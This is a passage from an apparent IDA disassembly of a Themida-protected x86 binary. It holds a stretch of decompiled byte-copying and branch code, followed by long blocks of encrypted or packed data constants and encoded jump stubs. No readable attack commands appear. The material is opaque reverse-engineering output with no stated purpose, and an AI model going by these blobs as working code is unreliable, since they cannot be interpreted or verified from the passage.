5 jnz loc_58A85B mov [ebp+0Bh], cl loc_58A85B: ; CODE XREF: Themida_:0058A815j ; Themida_:0058A81Fj ... inc byte ptr [ebp+0Bh] jmp loc_58A881 ; --------------------------------------------------------------------------- loc_58A863: ; CODE XREF: Themida_:0058A83Cj cmp dl, 5 jnz loc_58A881 mov [ebp+0Bh], dl jmp loc_58A881 ; --------------------------------------------------------------------------- loc_58A874: ; CODE XREF: Themida_:0058A832j cmp dl, 6 jnz loc_58A881 loc_58A87D: ; CODE XREF: Themida_:0058A7DCj mov byte ptr [ebp+0Bh], 3 loc_58A881: ; CODE XREF: Themida_:0058A7D2j ; Themida_:0058A80Cj ... dec byte ptr [ebp+0Bh] jz loc_58A8AF movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_58A891: ; CODE XREF: Themida_:0058A8A7j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_58A891 mov esi, edx loc_58A8AF: ; CODE XREF: Themida_:0058A884j and al, 0FEh cmp al, 0F6h jnz loc_58A8E4 cmp edi, 7Fh ja loc_58A8E4 test bl, 38h jnz loc_58A8E4 cmp byte ptr [ebp-7], 0 jz loc_58A8DE movzx eax, byte ptr [ebp-4] jmp loc_58A8E1 ; --------------------------------------------------------------------------- loc_58A8DE: ; CODE XREF: Themida_:0058A8CFj push 1 pop eax loc_58A8E1: ; CODE XREF: Themida_:0058A8D9j mov [ebp-1], al loc_58A8E4: ; CODE XREF: Themida_:0058A8B3j ; Themida_:0058A8BCj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_58A8EA: ; CODE XREF: Themida_:0058A794j mov al, bl and eax, 7 sub eax, 4 jz loc_58A915 dec eax dec eax jz loc_58A90B and bl, 7 add [ebp-1], bl jmp loc_58A91D ; --------------------------------------------------------------------------- loc_58A90B: ; CODE XREF: Themida_:0058A8FAj mov al, [ebp-3] add al, 6 jmp loc_58A91A ; --------------------------------------------------------------------------- loc_58A915: ; CODE XREF: Themida_:0058A8F2j mov al, [ebp-3] add al, 4 loc_58A91A: ; CODE XREF: Themida_:0058A910j add [ebp-1], al loc_58A91D: ; CODE XREF: Themida_:0058A906j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_58A945 movzx ecx, byte ptr [ebp-1] inc ecx loc_58A930: ; CODE XREF: Themida_:0058A93Fj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_58A930 loc_58A945: ; CODE XREF: Themida_:0058A925j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLSs db '▀пИ≤',0 db 2 dup(0), 94h dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h dup(0) dd 0CC000000h, 0E94284CCh, 0BD4h, 23BDB368h, 0C381E906h dd 8A68FFFAh, 0E90623BEh, 0FFFAC377h, 23BF9F68h, 0C36DE906h dd 2A68FFFAh, 0E90623C0h, 0FFFAC363h, 23C13968h, 0C359E906h dd 9968FFFAh, 0E90623C1h, 0FFFAC34Fh, 23C50968h, 0C345E906h dd 5168FFFAh, 0E90623C6h, 0FFFAC33Bh, 52C7720Fh, 7BF0B137h dd 0A015DC60h, 0CA3FE685h, 0F66B0EAFh, 37B8C3B5h, 40E2FD72h dd 61052095h, 892C47BCh, 0D77373E8h, 488F23C1h, 407E333Fh dd 0D6889B27h, 65263209h, 9A5B3D64h, 0F07333EBh, 7E974F31h dd 888736FFh, 0ECC73CE5h, 4AD4C4Dh, 7187BFDDh, 3924D273h dd 0D2C12339h, 50953924h, 0CAE897DCh, 42F0A5B4h, 0A3B9F13Fh dd 3306B641h, 0AD21D015h, 0F0F08668h, 0BC3306B5h, 6C6AD91Fh dd 2587E3EDh, 2Ah, 0ED86B36Fh, 0FE4CB9CFh, 74C3F42h, 0CE546D25h dd 78686413h, 343306A7h, 67805197h, 0B16D1CC5h, 87E3FFB3h dd 0DC6Ch, 3B54B600h, 7E17F9B8h, 965739E4h, 3EC1C06Fh dd 7BFC9577h, 31CD4B6h, 19DABC65h, 29C86B6Ah, 6A0BAE47h dd 0D77EDDF5h, 0B83B3924h, 0C66984F9h, 55E43D1Fh, 0B0C6FE1Ch dd 3924CF34h, 102EDD22h, 42DBCFFAh, 0EF8EA73Fh, 0B74D6446h dd 22589736h, 1E924168h, 112A64D9h, 4FE8CA6Bh, 612204ADh dd 6DCC8B3Ah, 6EF31EAEh, 476EDAA8h, 56D8F129h, 32E8E493h dd 90392697h, 0BDF52D4Bh, 0E53F3DA7h, 25D4192Ch, 67DC8126h dd 0F90FAB4Ch, 2CE53EEBh, 3DFF266Bh, 0EC28052Ah, 851AA2A4h dd 0C0000009h, 0E6017623h, 0F2A9F46h, 344FC46Dh, 5C77ECB5h dd 60A116DBh, 1FC2636Eh, 46F38FAAh, 6D30B6D1h, 9B5ADDF8h dd 748A2626h, 3F488F70h, 545931E6h, 48F7BA3Bh, 8C01A449h dd 0B227CE71h, 0ED86B3DEh, 0FE4CB9CFh, 74C3F42h, 53D66D25h dd 6F4D4387h, 0D67878BDh, 0F51CD7A6h, 0D8964A46h, 79163305h dd 0CEC6C433h, 0BA7F87E4h, 0C9000000h, 4F31F073h, 4E6C31B6h dd 0AECB135h, 22B89A49h, 3924D739h, 0A63DFD80h, 0D60FC64Fh dd 0D60E0A65h, 803923D9h, 849F143Bh, 55E40E1h, 0B213F34h dd 3F41E6BEh, 0CDA81D62h, 0D3E9076Ch, 39267636h, 0CC182E6Ah dd 8A2CE523h, 0E7001E45h, 842DCB46h, 0AD588BA2h, 480C6B2h dd 2641B6DDh, 471ADC81h, 93EC2826h, 8AE0991h, 58E90000h dd 6F0D289Dh, 0B23651C6h, 0C4637EF3h, 0E88DA81Dh, 9D8FD045h dd 0D348ED92h, 0FA6F2AB8h, 259A5FDFh, 49BE670Ah, 4D97AD49h dd 93F4891h, 0F2737C54h, 0E910D157h, 677D93CBh, 0EF3924D2h dd 4C86FBAAh, 0FE8720B5h, 1FCE6348h, 5FD49D20h, 31F0738Bh dd 7233B64Fh, 0FAA73B54h, 0D0585718h, 0BF6E2F11h, 0B2CA6F4Ah dd 24D3489Ch, 0A2C90E39h, 6FB54C84h, 4E1CCF08h, 1239F87Ch dd 1ECD9413h, 496D3522h, 0A4C2073Fh, 0D449E88Bh, 1F6B8BCh dd 0B1CA7333h, 6601863Ch, 6A809ED3h, 392015B7h, 9DB6D419h dd 0C684041Bh, 0D50193D4h, 5C0BCCAEh, 0AF33CA82h, 0C757DB69h dd 633E3AE9h, 22C0AD20h, 38FD8217h, 506E9556h, 1ACAE018h dd 3C991B31h, 254C48F7h, 4B9F3963h, 6ECB2406h, 0E0D1E705h dd 10991E76h, 1194ADCBh, 0A0B66E50h, 8CDB8544h, 0F7A6CD12h dd 0E788A1D9h, 0F09F6042h, 32A74EF1h, 76F59417h, 6C9356D7h dd 0E0A2C98Ah, 4C1E4A93h, 99F1797Bh, 0D4000007h, 21D924Fh dd 2B46BB7Ah, 5873E889h, 809B10D1h, 84C53AFFh, 43E68792h dd 722FB3CEh, 995CE2FDh, 0BF660924h, 98AE4A4Ah, 3F48924Ch dd 547D550Ah, 0D2DE061Ch, 5B783924h, 42F118D9h, 6867B683h dd 68B0E2F8h, 2B521396h, 87D0E604h, 0B53F4898h, 29501198h dd 0A64FF20Bh, 0EA972BC4h, 0DDF614C3h, 0E721965Fh, 0D8872ECEh dd 859B53D9h, 3301215Fh, 0A98BB2F7h, 8F4AD8F1h, 3E3DECADh dd 5538FABBh, 99F243E8h, 70E0F97h, 0B8490000h, 0CF6D88FDh dd 1296B126h, 24C3DE53h, 48ED087Dh, 0FDEF30A5h, 33A84DF2h dd 5ACF8A18h, 85FABF3Fh, 0A91EC76Ah, 0EDF70DA9h, 693F4892h dd 86B3DCB4h, 0D304E0F6h, 0D523924h, 0A5B2C8E6h, 0ED3F488Eh dd 0F7341756h, 7524CA5Ch, 0D3066601h, 0AF8DE906h, 0AE516A88h dd 86B79207h, 33B6CFEDh, 20CF9072h, 0C204EC02h, 256A3301h dd 0C234AD43h, 0DD7A3301h, 0E12A2897h, 30E387E8h, 2D000000h dd 0D3F18AB3h, 0BE6D28BAh, 0D25E8AA0h, 0BB003924h, 0D19D43D9h dd 720F3924h, 0D1BFBD2Ch, 0C7881C5h, 5C000000h, 5100A143h dd 1E88499h, 54520000h, 48C4DABDh, 0B7CDF11Ah, 39255D2Dh dd 0EBDE429h, 0E7520D74h, 2FD56C8Ah, 68434FCAh, 1A304EFDh dd 3F438707h, 14AA84C9h, 0E2B1F626h, 0ADCBA891h, 7ACADA97h dd 0F4799689h, 31B64F31h, 0A2C98A6Ch, 0F940997Bh, 6D445A78h dd 83835FDEh, 6407203Eh, 8A2D48BDh, 0B35629EBh, 9EA0365Fh dd 5FF16h, 0ECA93A00h, 15DC5C77h, 42E385A0h, 6A0BB2CDh dd 9055DAF5h, 0DDE8DA1Bh, 5209558h, 304BC07Dh, 5B76EB8Eh dd 0A4A419D8h, 93F2F208h, 0AF643F48h, 31F073D7h, 2E43F64Fh dd 8AA0D810h, 3924D25Ah, 0C08B7FCh, 3F42F085h, 0AFC8E62Bh dd 0C283650Ch, 0E0839E13h, 7A9A7F41h, 0B2B4F249h, 59F2Ah dd 8C49DA00h, 0B57CFC17h, 0E2832540h, 0AAB526Dh, 30F57A95h dd 7D887ABBh, 0A5C035F8h, 0D0EB601Dh, 0FB168B2Eh, 4444B978h dd 945292A8h, 4F043F48h, 0DBF07377h, 0D77868Bh, 2EB6CC78h dd 283925B8h, 0B395BCE3h, 4F78971Ah, 0EC517BE9h, 6F1B5AD7h dd 4002803Bh, 0B3B63719h, 21059C6Dh, 64957139h, 0CA6D6C1Bh dd 0E0DEB62Bh, 2381C5A0h, 0FB0FD5EBh, 2473924h, 42AB53h dd 0B3F50000h, 0B9CFED86h, 3F42F5FCh, 0B4C761FCh, 0AACA36CFh dd 0D50BA183h, 0EE330625h, 0B1C8AA4Bh, 0D75548E5h, 6A0E0D64h dd 89B071F3h, 0E02623A7h, 0D53F006h, 0E41DA09Eh, 22CAE387h dd 6B2CD483h, 76000000h, 0F9B83B54h, 0E8A75617h, 0D1132951h dd 853924D2h, 0F51CC568h, 0D323C1D7h, 0EE333924h, 5B71A9C7h dd 3924D289h, 0BBD988CDh, 431FF3A5h, 6886CB3Fh, 280AAF4Fh dd 819AB867h, 0ADC53AFBh, 33068734h, 2947EE91h, 0E3C56C10h dd 0DD842322h, 168B3AFBh, 0A7BD7DFBh, 3306873Dh, 868B596Fh dd 86CB3306h, 0C4A6CD12h, 47B3Ch, 86B30A00h, 0E4B9CFEDh dd 0E43F42DFh, 0C768819Fh, 0C6CF152Bh, 42873306h, 0D28A6C1Bh dd 0C660849Ah, 0B1F63306h, 0C1600302h, 8F556BA3h, 0C73306C6h dd 6DF1D382h, 81B82A70h, 0E1BCD2F0h, 3D3924D3h, 0BAF5EF05h dd 4CD62CE8h, 29D81D91h, 0E0FB70B5h, 59B2945Dh, 5F7593E0h dd 3306D112h, 59189BB4h, 9307B677h, 0E2F8304Eh, 26CAA402h dd 0E2021854h, 7426CAA3h, 7759082Fh, 0B2344D09h, 77BD40EFh dd 658322C5h, 0A3CD172Dh, 448926CAh, 0F4452095h, 1029617Fh dd 2DE5C772h, 0CAA3CD17h, 1D448926h, 0BA83726Eh, 0B0F52CE8h dd 0FCB235CEh, 0AC8CFEE6h, 8835CD20h, 0C6A8CF14h, 7FF13758h dd 995CE1BAh, 0B1CFF6B7h, 71531698h, 680DB1B0h, 0F816C586h dd 0CAA413E2h, 0EACA6526h, 656AD2h, 0F7BA3C3Bh, 0BD405BD0h dd 9B25EB9Eh, 0D0CF39D9h, 0E1A2842Dh, 0BE3FD8BAh, 989519FBh dd 5D1DA052h, 8EB49D47h, 4D74B91Ah, 0E13CFDD8h, 55AA956Ch dd 6D34B3E3h, 7CA3CA8Bh, 0FCA1455Eh, 58192F4Dh, 1820AC01h dd 0D41EC6DCh, 0F338146Fh, 1932EACCh, 2FF0D293h, 37FE8180h dd 80C6E755h, 28462B0Eh, 8DEA5F12h, 0BFD5111Ah, 0E51BD25h dd 5D6FEC31h dd 0AF8D7D99h, 37CEEC13h, 0DF040456h, 5DD281D6h, 0D8F6BF42h dd 93753CBFh, 0A84123D2h, 0ADE75C05h, 0B20C4416h, 0C2EC690Ch dd 0E6A554C3h, 0EA001E53h, 146F456Fh, 0D76E8CD1h, 0DCB13039h dd 5453D0E6h, 59CE3EAFh, 0AD4325D4h, 8335633h, 0F3094179h dd 83355F1h, 0EE712065h, 4D3B39A8h, 20F4B2B7h, 3E000000h dd 0CFED86B3h, 42FE4CB9h, 25074C3Fh, 6A7518Fh, 78BE5B33h dd 0E4000B09h, 0C1C487h, 730E0000h, 0DB1331F0h, 24D31FC5h dd 941A3739h, 19FBAAD1h, 583AFF80h, 93753CBFh, 39AE77FAh dd 24D73A21h, 35FC7F39h, 6302A5C0h, 0E9882C45h, 0EF9E47EAh dd 0EC85B40Dh, 648096CEh, 0F23924CDh, 0A8E0FEADh, 9A49E88Fh dd 42DB5B9Eh, 6BE0253Fh, 0AAC8A990h, 276DED94h, 405EA339h dd 2ABAD008h, 2C2CE615h, 150ADAF0h, 74C2CE6h, 8D3231E0h dd 0D75873E8h, 0DADB5012h, 9193EC28h, 22F09h, 1CD96A00h dd 45EC8CA7h, 7233B5D0h, 9A5BE2FDh, 0C0650A25h, 0D180A4Bh dd 3550C568h, 607BF0ADh, 8BA61BDEh, 0D4D449E8h, 97C22238h dd 0DF943F48h, 2FF27307h, 551C9FBAh, 0DEEAA037h, 0D551CFAEh dd 0B3DDB126h, 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h dd 4729CC72h, 84660FAEh, 7D24C4C3h, 1B61009Bh, 488E2B41h dd 0E3FFDBD9h, 11D9487h, 73DE0000h, 0C0243AF0h, 963924D2h dd 0C71D3351h, 8F3924D2h, 8941234Ah, 0AE2BCE70h, 0E4479B07h dd 4E4DFC9Eh, 0C16EAEA9h, 3618D95Ch, 6B80F875h, 9F35173Eh dd 3925C3BCh, 9DBB7AFDh, 5E40E184h, 3F79EE9Dh, 0BAF3F107h dd 1E633925h, 24CD706Fh, 2350E942h, 2DB7CD05h, 293925BBh dd 0A0B5208Eh, 40679A89h, 0B86D5AC3h, 65141E8Ah, 3EC83147h dd 770E3F43h, 0D9C3A787h, 6CE08FAAh, 0BBD10927h, 33078529h dd 0C439E82Dh, 52350E9h, 657F95CDh, 47330784h, 784B331h dd 0EA5EA333h, 28FAF6A5h, 39282Eh, 6D931D69h, 8A2EFFE0h dd 2AA7BA44h, 0EB5F0E35h, 836177AFh, 0D32CE7C5h, 0C652928Eh dd 0BF042CE7h, 0DC617A98h, 0E489A419h, 8BA67F41h, 0A6A8EC2Ah dd 0E71Eh, 0D4812200h, 0FDA4445Fh, 2ACB6D88h, 52139AB5h dd 783DC2DDh, 0C5D0C203h, 0ED087D20h, 1833A855h, 435ED396h dd 8C8C01A0h, 990ADAF0h, 974C3F48h, 2FF273BFh, 21C3D911h dd 353924D3h, 0AAD19018h, 0C86B86FBh, 73E0B429h, 0B64F31F0h dd 51149A33h, 6987AE6Fh, 5605AC50h, 3E3306E1h, 9AB0E820h dd 3924D34Ah, 25C8C70Ch, 2AD99A7Ch, 488EBD2Eh, 4462A73Fh dd 18E12AADh, 5A0919B7h, 955CDF78h, 98AEE620h, 33016E4Ch dd 3648C50Ah, 2E291299h, 76F9F8A7h, 7237CDAFh, 0E377A8C6h dd 0E89F4A41h, 1EBBC2E7h, 0FD7C15F7h, 92915234h, 4E6547EEh dd 9254CEF4h, 0DF00D4FCh, 0D8D5BF99h, 945DE092h, 0C061041Fh dd 0FFA645DEh, 488EAF1Dh, 0DD521396h, 58763FC2h, 12F4BD3Fh dd 4E30F579h, 0D5B7668Dh, 34Dh, 0A77F1B00h, 5133EE73h dd 8A6C35B8h, 0C6A84DF1h, 6E8952Dh, 4325C86Dh, 7E6005AAh dd 0BD9F46E5h, 0FFE18024h, 3D1FC666h, 336800h, 14890000h dd 81E28924h, 4C2h, 4EA8300h, 5C241487h, 27BC68h, 24048900h dd 369F68h, 242C8900h, 20CABF57h, 0F7815A4Ah, 579F61C2h dd 0EF81EFD1h, 28625306h, 7AA2BA52h, 0D7316084h, 0B8F7815Ah dd 89B82F8Bh, 8B545FF8h, 0C483242Ch, 0BB535204h, 8, 15BDA89h dd 5A0289EAh, 5D2434FFh, 8B04C483h, 89562404h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 0B7BDE95Ch, 0E176FFFAh dd 97B143BFh, 23C75DB8h, 0FFC50306h, 0BAC760E0h, 3A8AD30Eh dd 2229FB2Fh, 22E6AC0Ch, 0CFCC714Dh, 24EB0Bh, 8 dup(0) dd 0E9000000h, 0BDh, 0C807B589h, 858B0623h, 61E272Dh, 1735858Bh dd 0B58D061Eh, 623C851h, 416B858Dh, 0D0FF0621h, 0E855C3h dd 5D000000h, 0C857ED81h, 0BD830623h, 61E272Dh, 2C850F01h dd 0FF000000h, 23C807B5h, 35858B06h, 35061E17h, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 0BB58D1Ch, 560623C8h, 0C807B5FFh, 858B0623h dd 61E1735h, 81273635h, 83D0FF34h, 0B58D0CC4h, 623C80Bh dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 1E272DBDh, 850F0106h, 7, 2E9C35Dh dd 5D000000h, 30858DCFh, 890623C8h, 1E1B4D85h, 13E806h dd 70000000h, 8F3B4A3Fh, 381C0BEEh, 0CB8FDE35h, 9721BBA5h dd 0F28B6653h, 0B1E08159h, 813D7E28h, 5FACC1h, 685F5100h dd 0 dd 14E9h, 8C236700h, 0D24B8D65h, 8DDA395Ah, 0CAB3CDFAh dd 4BB03B65h, 148B5BD7h, 8DF68119h, 813EF1DCh, 0D559A5C2h dd 0EA81FC04h, 1A702129h, 0D7FED3B8h, 95C28177h, 0BE722D81h dd 63069E15h, 0D6816652h, 48F1EF5h, 665E5719h, 81D895BEh dd 0F47602EBh, 5CD48071h, 75FEC381h, 81F571F4h, 0FFA110FBh dd 15850FFFh, 66000000h, 23E9F98Bh, 6F000000h, 8A484CF1h dd 80EEE2F5h, 4ADE3673h, 0FF94E9F9h, 8DD5FFFFh, 0F37889BBh dd 2C9F7F7Ch, 0DFFC920Ah, 8D8D2BF8h, 623CA65h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BEC35646h, 758D8906h dd 89061E23h, 1E2FD99Dh, 4D85C706h, 2C061E32h, 0C700006Ch dd 1E316985h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0A30FDD48h, 850902AAh dd 61E09A5h, 32E5B5FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0CBAC55C3h, 291D8F40h dd 1E2FE585h, 0B995FF06h, 66061E16h, 6AF18Bh, 26C195FFh dd 0C08B061Eh, 5F7F7FEBh, 0A9EDD437h, 43D128BEh, 38AF2163h dd 739193CEh, 0A193DE71h, 2634EC9h, 766111B3h, 0BE6AEFB4h dd 0C91037EBh, 450E386Fh, 0E6D034AAh, 0DA292001h, 0B77DEF1Dh dd 6A0AB4B3h, 0CCEE76CBh, 509B0E9h, 4FCDDE03h, 0AA95E9ABh dd 0C78C25A4h, 0DDE4D183h, 0EE305AB3h, 149E1166h, 850AD131h dd 0B40530F7h, 9149ED74h, 68747169h, 5960002Eh, 0F2B25FD4h dd 588218EFh, 0A9C64D76h, 0C8D92A41h, 0A18D8D20h, 6A0623CBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0D3BEC353h, 226BC139h, 499D8B9Eh, 89061E08h dd 1E23758Dh, 0F5952906h, 0C7061E1Bh, 1E324D85h, 587C06h dd 0B5896000h, 61E0329h, 6820Fh, 9D090000h, 61E23A1h, 6985C761h dd 61E31h, 0FF000000h, 1E2991B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF9E13h dd 61E16B9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0FC35747h, 125F741Eh, 2F5D9D89h, 6A061Eh, 26C195FFh dd 0C08B061Eh, 966C1FEBh, 0BD939A44h, 15D35AECh, 3488BCBh dd 43484B73h, 24122B48h, 528ABF52h, 2ED32595h, 0ABE9B9h dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0A601E800h, 323D94E7h, 811C0A83h, 1256E90Ch, 4F680000h dd 0E90623CEh, 0FFFAB31Bh, 23CF2068h, 0B311E906h, 1368FFFAh dd 0E90623D0h, 0FFFAB307h, 23D1A968h, 0B2FDE906h, 3968FFFAh dd 0E90623D2h, 0FFFAB2F3h, 23D30368h, 0B2E9E906h, 0A268FFFAh dd 0E90623D3h, 0FFFAB2DFh, 23D45B68h, 0B2D5E906h, 1D68FFFAh dd 0E90623D5h, 0FFFAB2CBh, 23D64D68h, 0B2C1E906h, 4B68FFFAh dd 0E90623D7h, 0FFFAB2B7h, 23D87E68h, 0B2ADE906h, 0DF68FFFAh dd 0E90623D9h, 0FFFAB2A3h, 23DB8A68h, 0B299E906h, 6068FFFAh dd 0E90623DCh, 0FFFAB28Fh, 0AE23DE63h, 0D74C1593h, 47938BCh dd 2EA342E9h, 5ACF9213h, 9B1C2719h, 0BC4661D6h, 0CD718C01h dd 1598B328h, 3BD7D74Ch, 489FBF25h, 0A4E2973Fh, 9544ED8Bh dd 31F073DDh, 7233B64Fh, 5A1722FDh, 584233Ch, 20E1C362h dd 0A75617F9h, 0EFE67389h, 155A3F42h, 0B5439D33h, 0CC693306h dd 0EE191786h, 43D287E3h, 0B6000000h, 0AC7C687Eh, 95DA3306h dd 86B32EE6h, 0ECFB8E97h, 3158ACC6h, 1FC5DB13h, 8D392591h dd 25906D77h, 30A4E939h, 81E3CEBh, 3F43BBFDh, 0DE74569Bh dd 33076602h, 58C70DAAh, 87E3415Ah, 0DE13h, 0BD545D00h dd 953C890Eh, 3D3CEB46h, 8019FBBAh, 0BF583AFFh, 0DB93753Ch dd 492B0944h, 6D1CC480h, 0B52ACB6Eh, 0BAABE47Bh, 0E17ADF17h dd 92A33632h, 0BBF33925h, 258B3FA5h, 76FA1739h, 0E50CCDAFh dd 0EDB43736h, 1BDA5D78h, 4059E039h, 44E99FBCh, 0D080DCB1h dd 2C6482A9h, 66640895h, 0ABFCC2CCh, 0EB02D26h, 0E5E19046h dd 3F43B6E4h, 4882F73Ch, 50AAEAB1h, 2FDE2D60h, 8AA8C970h dd 283DA674h, 0B9D71C39h, 0E55A1FA0h, 0BE8025CAh, 0EC29FA87h dd 0D6C1494Bh, 2400000Fh, 526DE29Fh, 7B960BAAh, 0A8C338F9h dd 0D0EB6001h, 0D4158A2Fh, 9356D7E2h, 0C27F031Eh, 0E98C324Dh dd 0FD65974h, 0E8FE9A9Ah, 3F48A0FCh, 73CDA55Ah, 9FBA2FF2h dd 326BFF1Ch, 2E4892Dh, 2592C441h, 8C51D5D4h, 0B31CF065h dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h, 978BE5Bh dd 87E4000Bh, 0B7C4h, 0F0730E00h, 0C5DB1331h, 3924D31Fh dd 56D29C37h, 0D0F20A8Eh, 7F18FAA9h, 0C3593BFEh, 39258116h dd 0E57D1C9Fh, 819C1138h, 0FC5537FEh, 0DE16343Dh, 9B7D20C5h dd 9A2F2BDAh, 863F4385h, 3D1FC669h, 0A6E0557Ch, 6B8C586Eh dd 85CA3307h, 512217D6h, 14EC1D33h, 6FB43928h, 0F2B73851h dd 18DD627Dh, 29D98156h, 0C34B4DECh, 0F05h, 9E13CE53h dd 0C73CE583h, 0F46908ACh, 1E9352D9h, 4ABF6203h, 6B0C1709h dd 0AC3651C6h, 0DD617CF1h, 0E588A318h, 2BC7C73Ch, 48A1CF15h dd 0FAD2873Fh, 0D657F273h, 37CEEC13h, 538D2FADh, 0E55A0969h dd 46EF92ABh, 0F5F4A364h, 6A3EB372h, 0F7BA3B54h, 0A6A55415h dd 0E7806203h, 0D289D44h, 4FE8CA6Bh, 0DA9005ACh, 0A2435CACh dd 0AD5C1DFFh, 8264BEEh, 0D32ABAD0h, 0E72C3924h, 1D041A38h dd 93F42F3h, 0BD008D72h, 0BB38CBA4h, 48D25558h, 0E35706FDh dd 0B32EC49Eh, 522A9091h, 680DB2E7h, 809EC586h, 9A59DB6Ah dd 16F83D41h, 0D9F77CBDh, 28500AA1h, 70EDB036h, 0DE8D5B13h dd 7FCDCFE2h, 0BEDC213Bh, 4F6501A5h, 2F3CDB95h, 73557CC1h dd 0ADE503B2h, 71530E94h, 690CB1B0h, 2338BBBAh, 0E708138Ah dd 1D92B978h, 0F4B67F02h, 0EE8068DDh, 125FE7E9h, 6000000Eh dd 86A116C3h, 0AFCA3FE6h, 0D4EF640Dh, 0FC178C55h, 41B67Bh dd 0BF62030Eh, 0E6932F4Ah, 0DD05671h, 3BFA7D98h, 142AC6C6h dd 3F48A2D0h, 73F9D186h, 0F64F31F0h, 315D843h, 0CB852505h dd 0D56D86A4h, 0D6854628h, 6D0FA2B8h, 9CE13F43h, 9FB5ED27h dd 33076845h, 0AC75F411h, 93D10885h, 52BA4E39h, 1C55E4A3h dd 2725E8FEh, 3E833925h, 12D2E820h, 442CE8C5h, 0BAE18027h dd 4D93290Bh, 5F2CE8C5h, 0F0D7CC2h, 528E01E3h, 4DD46BBh dd 7A296E87h, 6AD2h, 441FB600h, 0E6A4467Ch, 0B3E39B4Ah dd 8B829786h, 0E31D4DE8h, 10889EBCh, 0AE3F440Dh, 7C134B69h dd 0B1EBA57Fh, 0C9C877C5h, 0F30B8025h, 330739EFh, 2EB455D8h dd 2EF37473h, 0EF648B4Ch, 99381EB5h, 0DF5C01A6h, 1026EEC3h dd 33077AD4h, 17163D82h, 1E1DCC95h, 3BF3D598h, 5788EBA4h dd 0A0481FA0h, 375E1F01h, 0D139A88h, 0B3680000h, 97CFED86h dd 5436FF7Eh, 94763BBBh, 1FDACD3h, 3F489F48h dd 5C7593D8h, 88A318D9h, 28C264E5h, 106D212h, 183F8433h dd 700E4FAh, 11563301h, 375008EAh, 7F3EEDB4h, 639BB9BAh dd 7DDF32Bh, 4F330107h, 6D60E0Ah, 3B803301h, 0D21A908Ch dd 51E3924h, 19DABC61h, 93B1F66Ah, 5133F27Ah, 0AAC3E190h dd 0CEE95E07h, 0D56C8A2Bh, 0AEA4E176h, 5F41F069h, 8B596FA7h dd 0CB2CDD0Ch, 2118D786h, 851C3250h, 4B32FB20h, 0F9F4406h dd 2D2FE602h, 0C7CA5h, 7C39CA00h, 0A54CEC07h, 0D2931530h dd 0FABB425Dh, 20C56A85h, 6D786AABh, 95B025C8h, 0C0DB500Dh dd 0EB067B3Eh, 3434A948h, 0A3628298h, 3FF43F48h, 0D26A7667h dd 23A3924h, 24D2F8ECh, 85C35E39h, 213ED5DCh, 6D2CDB02h dd 7089A7CCh, 892C2BCEh, 964506E8h, 66506278h, 5DA23F49h dd 0E283263Fh, 6AF526Dh, 8A2FCFE8h, 99A0F9DBh, 0DA4BAD8h dd 39391FD2h, 884400A2h, 2165F9F5h, 57C8718Dh, 3AAE5D84h dd 0C2CA33F5h, 204EC26h, 0BEC7Ah, 0ECA93A00h, 15DC5C77h dd 42E385A0h, 6A0BB2CDh, 9055DAF5h, 0DDE8DA1Bh, 5209558h dd 304BC07Dh, 5B76EB8Eh, 0A4A419D8h, 0A4F2F208h, 0AF643F48h dd 59F073D7h, 3E50CC9h, 3C1EC76Ah, 7F011AB6h, 3E8407B6h dd 0C5D0D1CFh, 7CFB1481h, 6312D3B5h, 689BBh, 86B30500h dd 6B9CFEDh, 5C3F489Fh, 1E00A143h, 9F3AAE5Dh, 7DC19C99h dd 0DEFC23C1h, 1CA627C5h, 97BE7F61h, 0EB1CAE8h, 694BEE8Fh dd 2B6381A8h, 11ACF15h, 354B8733h, 33011AAFh, 8C3B62A7h dd 0B879FC17h, 1AA040D6h, 0D6633301h, 0F477F9Dh, 11AEBF9h dd 0A9266B33h, 0E1C0E18Ah, 5450FF04h, 391F6B5Dh, 2EF77693h dd 0A2648B4Ch, 0EC267C4Dh, 222FB7B9h, 7000000Bh, 96B126D3h dd 0BFDA4F16h, 0E4FF743Dh, 0C279C45h, 1051C66Bh, 0CF92131Eh dd 0F6A33F5Ah, 1DC06681h, 4BEA8DA8h, 243AD6D6h, 3F48A5C0h dd 7309E196h, 974F31F0h, 8B3AFB7Eh, 46F2E98Ch, 0FE73AED8h dd 0DA604269h, 262493D9h, 0DF81C542h, 5C2h, 0D26A7629h 